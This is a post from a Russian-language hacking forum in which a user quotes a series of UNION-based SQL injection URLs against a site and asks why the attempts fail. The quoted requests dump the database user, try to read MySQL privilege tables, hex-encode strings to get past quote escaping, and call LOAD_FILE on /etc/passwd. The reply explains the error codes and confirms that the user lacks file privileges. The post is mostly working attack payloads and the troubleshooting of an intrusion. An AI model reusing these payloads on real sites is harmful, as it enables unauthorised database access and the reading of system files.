Показать сообщение отдельно

  #2  
Старый 11.02.2015, 15:42
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Цитата:
Сообщение от izzy  
izzy said:
5.0.95-log
http://www.site.com/index2.php?id=5+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,user(),12,13,14,15,16,17+--+
snowsoc@server
а теперь хочу узнать привилегии юзера
и тут завис
так http://www.site.com/index2.php?id=5+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,file_priv,12,13,14,15,16,17+from+mysql.use r+where+user='snowsoc'+--+
ошибка Error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'snowsoc\' --' at line 1
использую hex http://www.site.com/index2.php?id=5+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,file_priv,12,13,14,15,16,17+from+mysql.use r+where+user=0x736e6f77736f63
ошибка Error 1142 : SELECT command denied to user 'snowsoc'@'server' for table 'user'
что эта ошибка значит?
проверяю через LOAD_FILE('/etc/passwd')
http://www.site.com/index2.php?id=5+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,load_file%280x2f6574632f706173737764%29,12 ,13,14,15,16,17--+
выводит страницу сайта и число 10
это значить что привилегии у пользователя есть?
если бы были привилегии, вы бы получили в ответе файл /etc/passwd

ошибка значит, что вы не можете сделать запрос к этой бд, потому что ее нет.

ознакомтесь со статьей /threadnav43966-1-10.html и прежде чем задавать вопрос поищите решение в гугле или поиском по форуму, на этот вопрос отвечали и не раз
 
Ответить с цитированием